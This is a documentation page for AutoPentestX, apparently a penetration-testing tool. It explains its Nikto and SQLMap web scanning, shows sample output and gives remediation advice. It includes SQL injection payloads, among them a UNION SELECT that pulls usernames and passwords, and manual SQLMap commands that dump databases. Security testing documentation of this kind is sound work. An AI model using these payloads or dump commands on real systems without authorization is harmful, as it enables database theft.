Web Vulnerability Scanning

AutoPentestX includes powerful web vulnerability scanning capabilities through Nikto and SQLMap integration. This guide explains how these tools work and how to interpret their findings.

Web Service Detection

AutoPentestX automatically detects web services during the port scanning phase:

Terminal Output

[PHASE 2] ▶ Network reconnaissance in progress...
──────────────────────────────────────────────────────────────────
[✓] Port 80/tcp - http (Apache 2.4.41)
[✓] Port 443/tcp - ssl/http (nginx 1.18.0)
[✓] Port 8080/tcp - http-proxy (Jetty 9.4)

[PHASE 3] ▶ Vulnerability analysis initiated...
──────────────────────────────────────────────────────────────────
[✓] Detected web service: http://192.168.1.100:80
[✓] Detected web service: https://192.168.1.100:443
[✓] Detected web service: http://192.168.1.100:8080

Detection Logic

From modules/vuln_scanner.py:26-43, AutoPentestX identifies web services by:

Common Web Ports: 80, 443, 8080, 8443, 8000, 8888, 3000, 5000
Service Names: http, https, ssl/http, http-proxy, http-alt
Protocol Detection: Automatically selects HTTP or HTTPS based on port and service info

Web scanning is skipped when using the --skip-web flag, reducing scan time by 50-70%.

Nikto Web Scanner

Nikto performs comprehensive web server and application vulnerability scanning.

What Nikto Scans For

Server Configuration Issues

Outdated server versions
Dangerous HTTP methods enabled (PUT, DELETE, TRACE)
Default files and scripts
Insecure headers
Missing security headers (X-Frame-Options, CSP, etc.)

Common Vulnerabilities

Known CVEs for detected software
Directory traversal issues
Cross-Site Scripting (XSS) indicators
Information disclosure
Authentication bypass methods

Dangerous Files & Directories

Administrative interfaces
Backup files (.bak, .old, .tar.gz)
Configuration files
Database dumps
Source code files

SSL/TLS Security

Weak cipher suites
Expired certificates
Self-signed certificates
Protocol vulnerabilities

Nikto Scan Execution

Nikto runs with these parameters (from modules/vuln_scanner.py:57-64):

Nikto Command

nikto -h http://target:port \
      -Format json \
      -output logs/nikto_target_timestamp.json \
      -Tuning 123456789 \
      -timeout 10

Parameter Breakdown:

-h: Target URL
-Format json: Output in JSON format for parsing
-Tuning 123456789: Enable all test categories
-timeout 10: 10-second timeout per request

Sample Nikto Output

Terminal Output

[*] Running Nikto scan on http://192.168.1.100:80...
+ Target IP:          192.168.1.100
+ Target Hostname:    192.168.1.100
+ Target Port:        80
+ Start Time:         2026-03-11 14:22:10
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-Content-Type-Options header is not set.
+ Root page / redirects to: login.php
+ Apache/2.4.41 appears to be outdated (current is at least 2.4.57)
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /backup/: Directory indexing found.
+ /admin/: Admin login page/section found.
+ 8 requests: 0 error(s) and 7 item(s) reported on remote host
[✓] Nikto scan completed: 7 vulnerabilities found

Understanding Nikto Findings

Nikto results are categorized by severity:

High Severity
Medium Severity
Low/Info

Immediate Action Required

Exposed admin interfaces without authentication
Directory traversal vulnerabilities
Known CVEs with public exploits
Default credentials accepted

Example:

[HIGH] /admin/ allows directory listing and contains sensitive files
[HIGH] Default credentials accepted: admin/admin on /manager/html

Should Be Fixed

Outdated software versions
Information disclosure
Missing security headers
Unnecessary HTTP methods enabled

Example:

[MEDIUM] Server version disclosed: Apache/2.4.41 (Ubuntu)
[MEDIUM] X-Frame-Options header not set (clickjacking risk)
[MEDIUM] HTTP TRACE method is enabled (XST attack possible)

Good to Know

Server configuration details
Detected technologies
Common files found
Recommendations

Example:

[INFO] /robots.txt found - contains 15 entries
[INFO] Server uses PHP 7.4.3
[LOW] Cookie created without 'secure' flag

SQLMap Injection Scanner

SQLMap automatically detects and exploits SQL injection vulnerabilities.

How SQLMap Works

AutoPentestX runs SQLMap with safe, fast parameters (from modules/vuln_scanner.py:141-152):

SQLMap Command

sqlmap -u http://target:port \
       --batch \
       --crawl=2 \
       --level=1 \
       --risk=1 \
       --random-agent \
       --timeout=30 \
       --retries=2 \
       --threads=3

Parameter Breakdown:

-u: Target URL
--batch: Non-interactive mode (auto-accept defaults)
--crawl=2: Automatically crawl and test 2 levels deep
--level=1: Test level (1=basic, 5=comprehensive)
--risk=1: Risk level (1=safe, 3=may cause damage)
--random-agent: Randomize User-Agent header
--timeout=30: 30-second timeout per request
--threads=3: Use 3 concurrent threads

SQLMap is configured with --risk=1 to prevent destructive queries. It will NOT attempt UPDATE, DELETE, or DROP statements.

SQL Injection Types Detected

Boolean-based Blind

Exploits true/false responses to extract data one bit at a time.

AND 1=1 -- True
AND 1=2 -- False

Time-based Blind

Uses database delays to infer information.

AND SLEEP(5)
WAITFOR DELAY '0:0:5'

Error-based

Triggers database errors that leak information.

AND EXTRACTVALUE(1,CONCAT(0x7e,version()))

UNION Query-based

Appends UNION SELECT to retrieve arbitrary data.

UNION SELECT 1,2,username,password,5 FROM users

Sample SQLMap Output

Terminal Output

[*] Scanning for SQL injection on http://192.168.1.100:80...
[14:23:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:23:16] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[14:23:18] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
[14:23:22] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 5234=5234

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7176706a71,0x72644d6c),NULL,NULL-- -
---
back-end DBMS: MySQL >= 5.0

[✓] SQL injection scan completed: 1 vulnerability found

Understanding SQLMap Results

Identify Vulnerable Parameters

SQLMap lists all injectable parameters:

Parameter: id (GET)
Parameter: username (POST)
Parameter: search (Cookie)

Location matters:

GET: URL parameters
POST: Form data
Cookie: Cookie values
Header: HTTP headers

Review Injection Types

Each parameter shows which injection techniques work:

Type: boolean-based blind
Type: error-based
Type: UNION query
Type: time-based blind

More types = Higher exploitability

Check Database Detection

SQLMap identifies the backend database:

back-end DBMS: MySQL >= 5.0.12
back-end DBMS: PostgreSQL 13.2
back-end DBMS: Microsoft SQL Server 2019

This information helps prioritize remediation.

Risk Assessment

SQL injection is ALWAYS HIGH SEVERITY:

Can extract entire database
May allow authentication bypass
Could enable remote code execution
Enables data manipulation

Web Vulnerability Storage

All web vulnerabilities are stored in the SQLite database:

Database Schema

CREATE TABLE web_vulnerabilities (
    id INTEGER PRIMARY KEY,
    scan_id INTEGER,
    url TEXT,
    type TEXT,  -- 'nikto' or 'sql_injection'
    severity TEXT,
    description TEXT,
    parameter TEXT,  -- For SQLMap findings
    injection_type TEXT,  -- For SQLMap findings
    created_at TIMESTAMP
);

Query Web Findings

View All Web Vulnerabilities

sqlite3 database/autopentestx.db \
  "SELECT url, type, severity, description 
   FROM web_vulnerabilities 
   WHERE scan_id = 1 
   ORDER BY severity DESC;"

Filter SQL Injection Only

sqlite3 database/autopentestx.db \
  "SELECT url, parameter, injection_type 
   FROM web_vulnerabilities 
   WHERE scan_id = 1 AND type = 'sql_injection';"

Skipping Web Scans

Use --skip-web to disable Nikto and SQLMap:

python3 main.py -t 192.168.1.100 --skip-web

When to Skip:

✅ Target has no web services
✅ Time-constrained scans
✅ Network infrastructure testing only
✅ Non-web application assessment

Console Output:

[PHASE 3] Vulnerability analysis... [SKIPPED BY OPERATOR]

Impact:

Reduces scan time by 10-15 minutes
Report will show 0 web vulnerabilities
No Nikto logs generated
No SQLMap results

Manual Web Testing

After AutoPentestX identifies web services, you can perform manual testing:

Run Nikto Manually

Full Nikto Scan

nikto -h http://192.168.1.100 -C all -Tuning x

Run SQLMap Manually

Deep SQLMap Scan

sqlmap -u "http://192.168.1.100/page?id=1" \
       --level=5 \
       --risk=3 \
       --dbs \
       --tables \
       --dump

--risk=3 may execute destructive queries. Only use in authorized lab environments.

Test Specific Parameters

POST Parameter Testing

sqlmap -u "http://192.168.1.100/login" \
       --data="username=admin&password=test" \
       --method=POST \
       --batch

Interpreting PDF Report Findings

Web vulnerabilities appear in multiple report sections:

Executive Summary

Web Vulnerabilities: 7
SQL Injection Points: 1

Vulnerabilities Table

Port	Vulnerability	Severity	CVE ID
80	SQL Injection - parameter ‘id’	HIGH	N/A
80	Missing X-Frame-Options header	MEDIUM	N/A
443	Outdated Apache 2.4.41	MEDIUM	CVE-2021-44790

Recommendations

HIGH Priority:

✅ Remediate SQL injection in parameter ‘id’
✅ Implement parameterized queries
✅ Add input validation and sanitization

MEDIUM Priority:

✅ Add security headers (X-Frame-Options, CSP, HSTS)
✅ Update Apache to latest version
✅ Disable directory listing

Next Steps

Exploitation

Learn how AutoPentestX matches exploits to vulnerabilities

Report Analysis

Deep dive into PDF report structure and recommendations

Get Started

Core Concepts

Guides

Configuration

Troubleshooting

Web Vulnerability Scanning

Web Service Detection

Detection Logic

Nikto Web Scanner

What Nikto Scans For

Nikto Scan Execution

Sample Nikto Output

Understanding Nikto Findings

SQLMap Injection Scanner

How SQLMap Works

SQL Injection Types Detected

Boolean-based Blind

Time-based Blind

Error-based

UNION Query-based

Sample SQLMap Output

Understanding SQLMap Results

Web Vulnerability Storage

Database Schema

Query Web Findings

Skipping Web Scans

Manual Web Testing

Run Nikto Manually

Run SQLMap Manually

Test Specific Parameters

Interpreting PDF Report Findings

Executive Summary

Vulnerabilities Table

Recommendations

Next Steps

Exploitation

Report Analysis

Build docs developers (and LLMs) love

Get Started

Core Concepts

Guides

Configuration

Troubleshooting

Documentation Index

​Web Service Detection

​Detection Logic

​Nikto Web Scanner

​What Nikto Scans For

​Nikto Scan Execution

​Sample Nikto Output

​Understanding Nikto Findings

​SQLMap Injection Scanner

​How SQLMap Works

​SQL Injection Types Detected

Boolean-based Blind

Time-based Blind

Error-based

UNION Query-based

​Sample SQLMap Output

​Understanding SQLMap Results

​Web Vulnerability Storage

​Database Schema

​Query Web Findings

​Skipping Web Scans

​Manual Web Testing

​Run Nikto Manually

​Run SQLMap Manually

​Test Specific Parameters

​Interpreting PDF Report Findings

​Executive Summary

​Vulnerabilities Table

​Recommendations

​Next Steps

Exploitation

Report Analysis

Build docs developers (and LLMs) love

Web Service Detection

Detection Logic

Nikto Web Scanner

What Nikto Scans For

Nikto Scan Execution

Sample Nikto Output

Understanding Nikto Findings

SQLMap Injection Scanner

How SQLMap Works

SQL Injection Types Detected

Sample SQLMap Output

Understanding SQLMap Results

Web Vulnerability Storage

Database Schema

Query Web Findings

Skipping Web Scans

Manual Web Testing

Run Nikto Manually

Run SQLMap Manually

Test Specific Parameters

Interpreting PDF Report Findings

Executive Summary

Vulnerabilities Table

Recommendations

Next Steps